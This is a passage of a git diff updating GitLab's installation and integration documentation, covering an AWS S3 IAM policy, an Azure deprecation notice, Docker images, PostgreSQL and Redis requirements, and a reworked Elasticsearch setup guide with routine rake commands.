index 92a4ce860c3..aba76ecf50e 100644
--- a/doc/install/aws/index.md
+++ b/doc/install/aws/index.md
@@ -68,28 +68,32 @@ As we'll be using [Amazon S3 object storage](#amazon-s3-object-storage), our EC2
1. Click **Create policy**, select the `JSON` tab, and add a policy. We want to [follow security best practices and grant _least privilege_](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege), giving our role only the permissions needed to perform the required actions.
1. Assuming you prefix the S3 bucket names with `gl-` as shown in the diagram, add the following policy:
-```json
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Action": [
- "s3:AbortMultipartUpload",
- "s3:CompleteMultipartUpload",
- "s3:ListBucket",
- "s3:PutObject",
- "s3:GetObject",
- "s3:DeleteObject",
- "s3:PutObjectAcl"
- ],
- "Resource": [
- "arn:aws:s3:::gl-*/*"
- ]
- }
- ]
-}
-```
+ ```json
+ { "Version": "2012-10-17",
+ "Statement": [
+ {
+ "Effect": "Allow",
+ "Action": [
+ "s3:PutObject",
+ "s3:GetObject",
+ "s3:DeleteObject",
+ "s3:PutObjectAcl"
+ ],
+ "Resource": "arn:aws:s3:::gl-*/*"
+ },
+ {
+ "Effect": "Allow",
+ "Action": [
+ "s3:ListBucket",
+ "s3:AbortMultipartUpload",
+ "s3:ListMultipartUploadParts",
+ "s3:ListBucketMultipartUploads"
+ ],
+ "Resource": "arn:aws:s3:::gl-*"
+ }
+ ]
+ }
+ ```
1. Click **Review policy**, give your policy a name (we'll use `gl-s3-policy`), and click **Create policy**.
@@ -714,10 +718,10 @@ For more information on how to set it up, visit the
GitLab also has various [health check endpoints](../../user/admin_area/monitoring/health_check.md)
that you can ping and get reports.
-## GitLab Runners
+## GitLab Runner
If you want to take advantage of [GitLab CI/CD](../../ci/README.md), you have to
-set up at least one [GitLab Runner](https://docs.gitlab.com/runner/).
+set up at least one [runner](https://docs.gitlab.com/runner/).
Read more on configuring an
[autoscaling GitLab Runner on AWS](https://docs.gitlab.com/runner/configuration/runner_autoscale_aws/).
@@ -795,7 +799,7 @@ to request additional material:
- [Scaling GitLab](../../administration/reference_architectures/index.md):
GitLab supports several different types of clustering.
-- [Geo replication](../../administration/geo/replication/index.md):
+- [Geo replication](../../administration/geo/index.md):
Geo is the solution for widely distributed development teams.
- [Omnibus GitLab](https://docs.gitlab.com/omnibus/) - Everything you need to know
about administering your GitLab instance.
diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md
index 548c7d8c92e..b6e3025a0e0 100644
--- a/doc/install/azure/index.md
+++ b/doc/install/azure/index.md
@@ -1,15 +1,23 @@
---
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
description: 'Learn how to spin up a pre-configured GitLab VM on Microsoft Azure.'
type: howto
---
# Install GitLab on Microsoft Azure
-Azure is Microsoft's business cloud and GitLab is a pre-configured offering on the Azure Marketplace.
-Hopefully, you aren't surprised to hear that Microsoft and Azure have embraced open source software
-like Ubuntu, Red Hat Enterprise Linux, and of course - GitLab! This means that you can spin up a
-pre-configured GitLab VM and have your very own private GitLab up and running in around 30 minutes.
-Let's get started.
+CAUTION: **Deprecated:**
+The GitLab image in the Azure Marketplace is deprecated. You can track GitLab's
+efforts to [post a new image](https://gitlab.com/gitlab-com/alliances/microsoft/gitlab-tracker/-/issues/2).
+
+Azure is Microsoft's business cloud and GitLab is a pre-configured offering on
+the Azure Marketplace. Hopefully, you aren't surprised to hear that Microsoft
+and Azure have embraced open source software like Ubuntu, Red Hat Enterprise Linux,
+and of course - GitLab! This means that you can spin up a pre-configured
+GitLab VM and have your very own private GitLab up and running in around 30
+minutes. Let's get started.
## Getting started
@@ -419,7 +427,7 @@ Check out our other [Technical Articles](../../articles/index.md) or browse the
### Useful links
- [GitLab Community Edition](https://about.gitlab.com/features/)
-- [GitLab Enterprise Edition](https://about.gitlab.com/features/#ee-starter)
+- [GitLab Enterprise Edition](https://about.gitlab.com/features/#ee)
- [Microsoft Azure](https://azure.microsoft.com/en-us/)
- [Azure - Free Account FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/)
- [Azure - Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/)
diff --git a/doc/install/docker.md b/doc/install/docker.md
index e0cef71a4d8..c2d7655d526 100644
--- a/doc/install/docker.md
+++ b/doc/install/docker.md
@@ -6,18 +6,10 @@ type: index
[Docker](https://www.docker.com) and container technology have been revolutionizing the software world for the past few years. They combine the performance and efficiency of native execution with the abstraction, security, and immutability of virtualization.
-GitLab provides official Docker images allowing you to easily take advantage of the benefits of containerization while operating your GitLab instance.
+GitLab provides official Docker images allowing you to easily take advantage of the benefits of containerization while operating your GitLab instance. A [complete usage guide](https://docs.gitlab.com/omnibus/docker/) for these images is available, as well as the [Dockerfile used for building the images](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/docker).
-## Omnibus GitLab based images
-
-GitLab maintains a set of [official Docker images](https://hub.docker.com/u/gitlab) based on our [Omnibus GitLab package](https://docs.gitlab.com/omnibus/README.html). These images include:
-
-- [GitLab Community Edition](https://hub.docker.com/r/gitlab/gitlab-ce/)
-- [GitLab Enterprise Edition](https://hub.docker.com/r/gitlab/gitlab-ee/)
-- [GitLab Runner](https://hub.docker.com/r/gitlab/gitlab-runner/)
-
-A [complete usage guide](https://docs.gitlab.com/omnibus/docker/) to these images is available, as well as the [Dockerfile used for building the images](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/docker).
+There's also a [Docker image for GitLab Runner](https://docs.gitlab.com/runner/install/docker.html).
## Cloud native images
-GitLab is also working towards a [cloud native set of containers](https://docs.gitlab.com/charts/), with a single image for each component service. We intend for these images to eventually replace the [Omnibus GitLab based images](#omnibus-gitlab-based-images).
+GitLab is also working towards a [cloud native set of containers](https://docs.gitlab.com/charts/), with a single image for each component service.
diff --git a/doc/install/installation.md b/doc/install/installation.md
index 7216f750624..e2c77073983 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -147,8 +147,7 @@ ldd $(command -v git) | grep pcre2
The output should contain `libpcre2-8.so.0`.
-Is the system packaged Git too old, or not compiled with pcre2?
-Remove it:
+If the system packaged Git is too old or not compiled with `pcre2`, remove it:
```shell
sudo apt-get remove git-core
@@ -312,13 +311,20 @@ sudo adduser --disabled-login --gecos 'GitLab' git
## 6. Database
NOTE: **Note:**
-Starting from GitLab 12.1, only PostgreSQL is supported. Since GitLab 13.0, we require PostgreSQL 11+.
+Starting from GitLab 12.1, only PostgreSQL is supported. Since GitLab 13.0, we [require PostgreSQL 11+](requirements.md#postgresql-requirements).
1. Install the database packages:
```shell
sudo apt-get install -y postgresql postgresql-client libpq-dev postgresql-contrib
```
+
+1. Verify the PostgreSQL version you have is supported by the version of GitLab you're
+ installing:
+
+ ```shell
+ psql --version
+ ```
1. Start the PostgreSQL service and confirm that the service is running:
@@ -401,10 +407,11 @@ Starting from GitLab 12.1, only PostgreSQL is supported. Since GitLab 13.0, we r
## 7. Redis
-GitLab requires at least Redis 5.0.
+NOTE: **Note:**
+See the [requirements page](requirements.md#redis-versions) for the minimum
+Redis requirements.
-If you are using Debian 10 or Ubuntu 20.04 and up, you can install
-Redis 5.0 with:
+Install Redis with:
```shell
sudo apt-get install redis-server
@@ -686,7 +693,7 @@ Next, make sure that Gitaly is configured:
sudo chmod 0700 /home/git/gitlab/tmp/sockets/private
sudo chown git /home/git/gitlab/tmp/sockets/private
-# If you are using non-default settings you need to update config.toml
+# If you are using non-default settings, you need to update config.toml
cd /home/git/gitaly
sudo -u git -H editor config.toml
```
@@ -740,7 +747,7 @@ Download the init script (is `/etc/init.d/gitlab`):
sudo cp lib/support/init.d/gitlab /etc/init.d/gitlab
```
-And if you are installing with a non-default folder or user copy and edit the defaults file:
+And if you are installing with a non-default folder or user, copy and edit the defaults file:
```shell
sudo cp lib/support/init.d/gitlab.default.example /etc/default/gitlab
@@ -937,7 +944,7 @@ See the [OmniAuth integration documentation](../integration/omniauth.md).
### Build your projects
-GitLab can build your projects. To enable that feature, you need GitLab Runners to do that for you.
+GitLab can build your projects. To enable that feature, you need runners to do that for you.
See the [GitLab Runner section](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/#gitlab-runner) to install it.
### Adding your Trusted Proxies
diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md
index 4156d72097d..9e5a1e3d627 100644
--- a/doc/install/postgresql_extensions.md
+++ b/doc/install/postgresql_extensions.md
@@ -1,7 +1,3 @@
----
-last_updated: 2020-09-01
----
-
# Managing PostgreSQL extensions
This guide documents how to manage PostgreSQL extensions for installations with an external
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index 10d5853c82e..da0128fecc3 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -12,7 +12,7 @@ as the hardware requirements that are needed to install and use GitLab.
### Supported Linux distributions
- Ubuntu (16.04/18.04/20.04)
-- Debian (8/9/10)
+- Debian (9/10)
- CentOS (6/7/8)
- openSUSE (Leap 15.1/Enterprise Server 12.2)
- Red Hat Enterprise Linux (please use the CentOS packages and instructions)
@@ -61,8 +61,8 @@ From GitLab 13.1:
### Node.js versions
-Beginning in GitLab 12.9, we only support node.js 10.13.0 or higher, and we have dropped
-support for node.js 8. (node.js 6 support was dropped in GitLab 11.8)
+Beginning in GitLab 12.9, we only support Node.js 10.13.0 or higher, and we have dropped
+support for Node.js 8. (Node.js 6 support was dropped in GitLab 11.8)
We recommend Node 12.x, as it's faster.
@@ -74,9 +74,12 @@ a version older than `v10.13.0`, you need to update it to a newer version. You
can find instructions to install from community maintained packages or compile
from source at the [Node.js website](https://nodejs.org/en/download/).
-## Redis versions
+### Redis versions
-GitLab requires Redis 5.0+. Beginning in GitLab 13.0, lower versions are not supported.
+GitLab 13.0 and later requires Redis version 4.0 or higher.
+
+Redis version 5.0 or higher is recommended, as this is what ships with
+[Omnibus GitLab](https://docs.gitlab.com/omnibus/) packages starting with GitLab 12.7.
## Hardware requirements
@@ -137,7 +140,6 @@ We highly recommend users to use the minimum PostgreSQL versions specified below
GitLab version | Minimum PostgreSQL version
-|-
10.0 | 9.6
-12.10 | 11
13.0 | 11
You must also ensure the `pg_trgm` and `btree_gist` extensions are [loaded into every
@@ -148,7 +150,7 @@ Support for [PostgreSQL 9.6 and 10 has been removed in GitLab 13.0](https://abou
#### Additional requirements for GitLab Geo
-If you're using [GitLab Geo](../administration/geo/replication/index.md):
+If you're using [GitLab Geo](../administration/geo/index.md):
- We strongly recommend running Omnibus-managed instances as they are actively
developed and tested. We aim to be compatible with most external (not managed
@@ -180,7 +182,7 @@ optimal settings for your infrastructure.
### Puma threads
The recommended number of threads is dependent on several factors, including total memory, and use
-of [legacy Rugged code](../development/gitaly.md#legacy-rugged-code).
+of [legacy Rugged code](../administration/gitaly/index.md#direct-access-to-git-in-gitlab).
- If the operating system has a maximum 2 GB of memory, the recommended number of threads is `1`.
A higher value will result in excess swapping, and decrease performance.
@@ -257,8 +259,6 @@ For reference, GitLab.com's [auto-scaling shared runner](../user/gitlab_com/inde
CAUTION: **Caution:**
With GitLab 13.0 (May 2020) we have removed official support for Internet Explorer 11.
-With the release of GitLab 13.4 (September 2020) we will remove all code that supports Internet Explorer 11.
-You can provide feedback [on this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/197987) or via your usual support channels.
GitLab supports the following web browsers:
@@ -270,7 +270,7 @@ GitLab supports the following web browsers:
For the listed web browsers, GitLab supports:
-- The current and previous major versions of browsers except Internet Explorer.
+- The current and previous major versions of browsers.
- The current minor version of a supported major version.
NOTE: **Note:**
diff --git a/doc/integration/README.md b/doc/integration/README.md
index fdaff74ca58..c5c21644d1c 100644
--- a/doc/integration/README.md
+++ b/doc/integration/README.md
@@ -15,6 +15,7 @@ GitLab can be integrated with the following external issue trackers:
- Jira
- Redmine
- Bugzilla
+- EWM
- YouTrack
## Authentication sources
@@ -56,7 +57,7 @@ GitLab can be integrated with the following enhancements:
- Configure [PlantUML](../administration/integration/plantuml.md) to use diagrams in AsciiDoc documents.
- Attach merge requests to [Trello](trello_power_up.md) cards.
- Enable integrated code intelligence powered by [Sourcegraph](sourcegraph.md).
-- Add [Elasticsearch](elasticsearch.md) for [Advanced Global Search](../user/search/advanced_global_search.md),
+- Add [Elasticsearch](elasticsearch.md) for [Advanced Search](../user/search/advanced_global_search.md),
[Advanced System Search](../user/search/advanced_search_syntax.md), and faster searching.
## Integrations
diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md
index 67b256cc944..f40955ad8ff 100644
--- a/doc/integration/elasticsearch.md
+++ b/doc/integration/elasticsearch.md
@@ -1,43 +1,85 @@
+---
+type: reference
+stage: Enablement
+group: Global Search
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
# Elasticsearch integration **(STARTER ONLY)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109 "Elasticsearch Merge Request") in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4.
> - Support for [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1305) in GitLab [Starter](https://about.gitlab.com/pricing/) 9.0.
-This document describes how to set up Elasticsearch with GitLab. Once enabled,
-you'll have the benefit of fast search response times and the advantage of two
-special searches:
+This document describes how to set up Elasticsearch with GitLab. After
+Elasticsearch is enabled, you'll have the benefit of fast search response times
+and the advantage of the following special searches:
+
+- [Advanced Search](../user/search/advanced_global_search.md)
+- [Advanced Search Syntax](../user/search/advanced_search_syntax.md)
+
+## Version requirements
+
+<!-- Remember to update ee/lib/system_check/app/elasticsearch_check.rb if this changes -->
-- [Advanced Global Search](../user/search/advanced_global_search.md)
-- [Advanced Syntax Search](../user/search/advanced_search_syntax.md)
+| GitLab version | Elasticsearch version |
+|---------------------------------------------|-------------------------------|
+| GitLab Enterprise Edition 12.7 or greater | Elasticsearch 6.x through 7.x |
+| GitLab Enterprise Edition 11.5 through 12.6 | Elasticsearch 5.6 through 6.x |
+| GitLab Enterprise Edition 9.0 through 11.4 | Elasticsearch 5.1 through 5.5 |
+| GitLab Enterprise Edition 8.4 through 8.17 | Elasticsearch 2.4 with [Delete By Query Plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/2.4/plugins-delete-by-query.html) installed |
-## Version Requirements
+## System requirements
+
+Elasticsearch requires additional resources in excess of those documented in the
+[GitLab system requirements](../install/requirements.md).
-<!-- Please remember to update ee/lib/system_check/app/elasticsearch_check.rb if this changes -->
+The amount of resources (memory, CPU, storage) will vary greatly, based on the
+amount of data being indexed into the Elasticsearch cluster. According to
+[Elasticsearch official guidelines](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_memory),
+each node should have:
-| GitLab version | Elasticsearch version |
-| -------------- | --------------------- |
-| GitLab Enterprise Edition 8.4 - 8.17 | Elasticsearch 2.4 with [Delete By Query Plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/2.4/plugins-delete-by-query.html) installed |
-| GitLab Enterprise Edition 9.0 - 11.4 | Elasticsearch 5.1 - 5.5 |
-| GitLab Enterprise Edition 11.5 - 12.6 | Elasticsearch 5.6 - 6.x |
-| GitLab Enterprise Edition 12.7+ | Elasticsearch 6.x - 7.x |
+- [Memory](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_memory): 8 GiB (minimum).
+- [CPU](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_cpus): Modern processor with multiple cores.
+- [Storage](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_disks): Use SSD storage. You will need enough storage for 50% of the total size of your Git repositories.
+
+A few notes on CPU and storage:
+
+- CPU requirements for Elasticsearch tend to be minimal. There are specific
+ scenarios where this isn't true, but GitLab.com isn't using Elasticsearch in
+ an exceptionally CPU-heavy way. More cores will be more performant than faster
+ CPUs. Extra concurrency from multiple cores will far outweigh a slightly
+ faster clock speed in Elasticsearch.
+
+- Storage requirements for Elasticsearch are important, especially for
+ indexing-heavy clusters. When possible use SSDs, whose speed is far superior
+ to any spinning media for Elasticsearch. In testing, nodes that use SSD storage
+ see boosts in both query and indexing performance.
+
+Keep in mind, these are **minimum requirements** for Elasticsearch.
+Heavily-utilized Elasticsearch clusters will likely require considerably more
+resources.
## Installing Elasticsearch
-Elasticsearch is _not_ included in the Omnibus packages or when you install from source. You must
-[install it separately](https://www.elastic.co/guide/en/elasticsearch/reference/7.x/install-elasticsearch.html "Elasticsearch 7.x installation documentation"). Be sure to select your version.
-Providing detailed information on installing Elasticsearch is out of the scope
-of this document.
+Elasticsearch is *not* included in the Omnibus packages or when you install from
+source. You must [install it separately](https://www.elastic.co/guide/en/elasticsearch/reference/7.x/install-elasticsearch.html "Elasticsearch 7.x installation documentation").
+Be sure to select your version. Providing detailed information on installing
+Elasticsearch is out of the scope of this document.
NOTE: **Note:**
Elasticsearch should be installed on a separate server, whether you install
-it yourself or use a cloud hosted offering like Elastic's [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) (available on AWS, GCP, or Azure) or the
-[Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html) service. Running Elasticsearch on the same server as GitLab is not recommended
-and will likely cause a degradation in GitLab instance performance.
+it yourself or use a cloud hosted offering like Elastic's [Elasticsearch Service](https://www.elastic.co/elasticsearch/service)
+(available on AWS, GCP, or Azure) or the [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html)
+service. Running Elasticsearch on the same server as GitLab is not recommended
+and can cause a degradation in GitLab instance performance.
NOTE: **Note:**
-**For a single node Elasticsearch cluster the functional cluster health status will be yellow** (will never be green) because the primary shard is allocated but replicas can not be as there is no other node to which Elasticsearch can assign a replica.
+**For a single node Elasticsearch cluster the functional cluster health status
+will be yellow** (will never be green) because the primary shard is allocated but
+replicas can not be as there is no other node to which Elasticsearch can assign a
+replica.
-Once the data is added to the database or repository and [Elasticsearch is
+After the data is added to the database or repository and [Elasticsearch is
enabled in the Admin Area](#enabling-elasticsearch) the search index will be
updated automatically.
@@ -47,12 +89,13 @@ For indexing Git repository data, GitLab uses an [indexer written in Go](https:/
The way you install the Go indexer depends on your version of GitLab:
-- For Omnibus GitLab 11.8 and above, see [Omnibus GitLab](#omnibus-gitlab).
-- For installations from source or older versions of Omnibus GitLab, install the indexer [From Source](#from-source).
+- For Omnibus GitLab 11.8 or greater, see [Omnibus GitLab](#omnibus-gitlab).
+- For installations from source or older versions of Omnibus GitLab,
+ [install the indexer from source](#from-source).
### Omnibus GitLab
-Since GitLab 11.8 the Go indexer is included in Omnibus GitLab.
+Starting with GitLab 11.8, the Go indexer is included in Omnibus GitLab.
The former Ruby-based indexer was removed in [GitLab 12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/6481).
### From source
@@ -80,7 +123,7 @@ To install on CentOS or RHEL, run:
sudo yum install libicu-devel
```
-##### Mac OSX
+#### Mac OSX
To install on macOS, run:
@@ -112,60 +155,87 @@ Example:
PREFIX=/usr sudo -E make install
```
-Once installed, enable it under your instance's Elasticsearch settings explained [below](#enabling-elasticsearch).
+After installation, be sure to [enable Elasticsearch](#enabling-elasticsearch).
-## System Requirements
+## Enabling Elasticsearch
-Elasticsearch requires additional resources in excess of those documented in the
-[GitLab system requirements](../install/requirements.md).
+NOTE: **Note:**
+For GitLab instances with more than 50GB repository data you can follow the instructions for [Indexing large
+instances](#indexing-large-instances) below.
-The amount of resources (memory, CPU, storage) will vary greatly, based on the amount of data being indexed into the Elasticsearch cluster. According to [Elasticsearch official guidelines](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_memory), each node should have:
+To enable Elasticsearch, you need to have admin access to GitLab:
-- [RAM](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_disks): **8 GiB as the bare minimum**
-- [CPU](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_cpus): Modern processor with multiple cores
-- [Storage](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_disks): Use SSD storage. As a guide you will need enough storage for 50% of the total size of your Git repositories.
+1. Navigate to **Admin Area** (wrench icon), then **Settings > General**
+ and expand the **Advanced Search** section.
-A few notes on CPU and storage:
+ NOTE: **Note:**
+ To see the Advanced Search section, you need an active Starter
+ [license](../user/admin_area/license.md).
-- CPU requirements for Elasticsearch tend to be light. There are specific scenarios where this isn't true, but GitLab.com isn't using Elasticsearch in an exceptionally CPU-heavy way. More cores will be more performant than faster CPUs. Extra concurrency from multiple cores will far outweigh a slightly faster clock speed in Elasticsearch.
+1. Configure the [Elasticsearch settings](#elasticsearch-configuration) for
+ your Elasticsearch cluster. Do not enable **Elasticsearch indexing** or
+ **Search with Elasticsearch enabled** yet.
+1. Click **Save changes** for the changes to take effect.
+1. Before enabling **Elasticsearch indexing** you need to create an index by
+ running the Rake task:
-- Storage requirements for Elasticsearch are important, especially for indexing-heavy clusters. When possible, use SSDs, Their speed is far superior to any spinning media for Elasticsearch. In testing, nodes that use SSD storage see boosts in both query and indexing performance.
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:create_empty_index
-Keep in mind, these are **minimum requirements** for Elasticsearch. Heavily-utilized Elasticsearch clusters will likely require considerably more resources.
+ # Installations from source
+ bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production
+ ```
-## Enabling Elasticsearch
+1. Now enable `Elasticsearch indexing` in **Admin Area > Settings >
+ General > Advanced Search** and click **Save changes**.
+1. Click **Index all projects**.
+1. Click **Check progress** in the confirmation message to see the status of
+ the background jobs.
+1. Personal snippets need to be indexed using another Rake task:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:index_snippets
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production
+ ```
-In order to enable Elasticsearch, you need to have admin access. Navigate to
-**Admin Area** (wrench icon), then **Settings > Integrations** and expand the **Elasticsearch** section.
+1. After the indexing has completed, enable **Search with Elasticsearch enabled** in
+ **Admin Area > Settings > General > Advanced Search** and click **Save
+ changes**.
-Click **Save changes** for the changes to take effect.
+### Elasticsearch configuration
The following Elasticsearch settings are available:
| Parameter | Description |
-| ----------------------------------------------------- | ----------- |
-| `Elasticsearch indexing` | Enables/disables Elasticsearch indexing. You may want to enable indexing but disable search in order to give the index time to be fully completed, for example. Also, keep in mind that this option doesn't have any impact on existing data, this only enables/disables background indexer which tracks data changes. So by enabling this you will not get your existing data indexed, use special Rake task for that as explained in [Adding GitLab's data to the Elasticsearch index](#adding-gitlabs-data-to-the-elasticsearch-index). |
-| `Elasticsearch pause indexing` | Enables/disables temporary indexing pause. This is useful for cluster migration/reindexing. All changes are still tracked, but they are not committed to the Elasticsearch index until unpaused. |
-| `Search with Elasticsearch enabled` | Enables/disables using Elasticsearch in search. |
+|-------------------------------------------------------|-------------|
+| `Elasticsearch indexing` | Enables or disables Elasticsearch indexing. You may want to enable indexing but disable search in order to give the index time to be fully completed, for example. Also, keep in mind that this option doesn't have any impact on existing data, this only enables/disables the background indexer which tracks data changes and ensures new data is indexed. |
+| `Pause Elasticsearch indexing` | Enables or disables temporary indexing pause. This is useful for cluster migration/reindexing. All changes are still tracked, but they are not committed to the Elasticsearch index until unpaused. |
+| `Search with Elasticsearch enabled` | Enables or disables using Elasticsearch in search. |
| `URL` | The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., `http://host1, https://host2:9200`). If your Elasticsearch instance is password protected, pass the `username:password` in the URL (e.g., `http://<username>:<password>@<elastic_host>:9200/`). |
| `Number of Elasticsearch shards` | Elasticsearch indexes are split into multiple shards for performance reasons. In general, larger indexes need to have more shards. Changes to this value do not take effect until the index is recreated. You can read more about tradeoffs in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/scalability.html). |
| `Number of Elasticsearch replicas` | Each Elasticsearch shard can have a number of replicas. These are a complete copy of the shard, and can provide increased query performance or resilience against hardware failure. Increasing this value will greatly increase total disk space required by the index. |
| `Limit namespaces and projects that can be indexed` | Enabling this will allow you to select namespaces and projects to index. All other namespaces and projects will use database search instead. Please note that if you enable this option but do not select any namespaces or projects, none will be indexed. [Read more below](#limiting-namespaces-and-projects).
-| `Using AWS hosted Elasticsearch with IAM credentials` | Sign your Elasticsearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). The policies must be configured to allow `es:*` actions. |
-| `AWS Region` | The AWS region your Elasticsearch service is located in. |
+| `Using AWS hosted Elasticsearch with IAM credentials` | Sign your Elasticsearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). Please refer to [Identity and Access Management in Amazon Elasticsearch Service](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-ac.html) for details of AWS hosted Elasticsearch domain access policy configuration. |
+| `AWS Region` | The AWS region in which your Elasticsearch service is located. |
| `AWS Access Key` | The AWS access key. |
| `AWS Secret Access Key` | The AWS secret access key. |
| `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). |
| `Maximum field length` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-field-length). |
| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by GitLab's Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
-| `Bulk request concurrency` | The Bulk request concurrency indicates how many of GitLab's Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
+| `Bulk request concurrency` | The Bulk request concurrency indicates how many of GitLab's Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
+| `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. |
### Limiting namespaces and projects
-If you select `Limit namespaces and projects that can be indexed`, more options will become available
+If you select `Limit namespaces and projects that can be indexed`, more options will become available.
+
![limit namespaces and projects options](img/limit_namespaces_projects_options.png)
-You can select namespaces and projects to index exclusively. Please note that if the namespace is a group it will include
+You can select namespaces and projects to index exclusively. Note that if the namespace is a group it will include
any sub-groups and projects belonging to those sub-groups to be indexed as well.
Elasticsearch only provides cross-group code/commit search (global) if all name-spaces are indexed. In this particular scenario where only a subset of namespaces are indexed, a global search will not provide a code or commit scope. This will be possible only in the scope of an indexed namespace. Currently there is no way to code/commit search in multiple indexed namespaces (when only a subset of namespaces has been indexed). For example if two groups are indexed, there is no way to run a single code search on both. You can only run a code search on the first group and then on the second.
@@ -187,8 +257,8 @@ from the Elasticsearch index as expected.
To disable the Elasticsearch integration:
-1. Navigate to the **Admin Area** (wrench icon), then **Settings > Integrations**.
-1. Expand the **Elasticsearch** section and uncheck **Elasticsearch indexing**
+1. Navigate to the **Admin Area** (wrench icon), then **Settings > General**.
+1. Expand the **Advanced Search** section and uncheck **Elasticsearch indexing**
and **Search with Elasticsearch enabled**.
1. Click **Save changes** for the changes to take effect.
1. (Optional) Delete the existing index:
@@ -201,253 +271,39 @@ To disable the Elasticsearch integration:
bundle exec rake gitlab:elastic:delete_index RAILS_ENV=production
```
-## Adding GitLab's data to the Elasticsearch index
-
-While Elasticsearch indexing is enabled, new changes in your GitLab instance will be automatically indexed as they happen.
-To backfill existing data, you can use one of the methods below to index it in background jobs.
-
-### Indexing through the administration UI
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15390) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3.
-
-To index via the Admin Area:
-
-1. [Configure your Elasticsearch host and port](#enabling-elasticsearch).
-1. Create empty indexes:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:create_empty_index
-
- # Installations from source
- bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production
- ```
-
-1. [Enable **Elasticsearch indexing**](#enabling-elasticsearch).
-1. Click **Index all projects** in **Admin Area > Settings > Integrations > Elasticsearch**.
-1. Click **Check progress** in the confirmation message to see the status of the background jobs.
-1. Personal snippets need to be indexed manually:
-
- ```shell
- # Omnibus installations
- sudo gitlab-rake gitlab:elastic:index_snippets
-
